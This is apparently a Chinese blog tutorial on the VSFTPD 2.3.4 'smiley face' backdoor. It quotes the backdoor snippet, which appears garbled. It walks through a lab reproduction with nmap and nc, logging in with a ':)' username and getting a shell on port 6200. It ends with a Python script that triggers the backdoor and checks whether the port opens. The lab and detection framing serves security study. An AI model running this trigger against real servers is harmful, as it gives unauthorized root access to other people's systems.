python检测笑脸漏洞

一、漏洞介绍

VSFTPD 2.3.4,俗称笑脸漏洞。在VSFTPD的实现代码中存在一个后门函数,属于开发者设计上的失误。在检测到用户名带有特殊字符:)时,会自动打开6200端口。

{
    return 1;
{
else if((p_str->p_buf==0x3a)&&(p_str->p_buf+1==0x29))
{
vsf_sysutil_extra();
}
}
return 0;
}

 0x3a,0x29转换为ascii码刚好为:)(像简单的一个笑脸表情)

vsf_sysutil_extra()   :打开服务器的6200端口,并且不需要密码就能从6200端口以管理员身份登入服务器,高危!!!!

二 、复现笑脸漏洞

将自己的攻击机与靶机用nat模式连接到同一子网下

先在kali用ifconfig得到自己的IP地址

用nmap扫描得到靶机IP

nmap -sV 192.168.48.0/24

可以看到靶机开启了21端口且版本为vsftpd 2.3.4

用nc连接到靶机的21端口

用户名输入带:)就好了,密码随便输

查看端口开放情况

nmap -Pn -p6200 192.168.48.132

可以看到6200端口开放了

nc连接该端口

输入ls成功看到当前目录下文件

python检测脚本为

import socket
from ftplib import FTP
host_ip = "192.168.48.132"  # 要检测的IP地址
ftp = FTP()
backdoorstr = "Hello:)"   # 账号
backdoorpass = 'me'       # 密码
try:
    ftp.connect(host_ip, 21, timeout=2)   # 发送请求给IP下的21端口
    ftp.login(backdoorstr, backdoorpass)      # 进行登录
except:
    print("完成")
try:
    s = socket.socket()         # 检测是否有漏洞存在
    nock = s.connect((host_ip, 6200))    # 发送请求给6200端口
    print("存在笑脸漏洞")
except:
    print("未找到")

在kali终端运行

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值